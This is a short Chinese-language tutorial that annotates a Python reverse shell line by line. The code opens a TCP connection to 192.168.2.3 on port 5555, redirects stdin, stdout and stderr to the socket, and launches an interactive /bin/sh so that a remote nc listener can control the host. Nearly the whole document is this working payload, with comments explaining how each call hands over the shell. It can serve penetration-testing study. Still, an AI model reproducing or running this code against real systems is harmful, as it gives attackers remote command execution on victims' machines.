python的 -c 可以在命令行中调用 python 代码, 实际上 -c 就是 command 的意思。
import os
import socket
import subprocess
# 使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接的服务器的ip地址,端口
s.connect(("192.168.2.3", 5555))
# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2
# 而fileno()函数就是返回一个文件的文件描述符
# 在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr
# 所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# subprocess允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码
# 而call函数的作用就是执行指定的命令,返回命令执行的状态码
# 所以这句代码的作用就是生成新的进程,调用/bin/sh
p = subprocess.call(["/bin/sh", "-i"])
# 综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机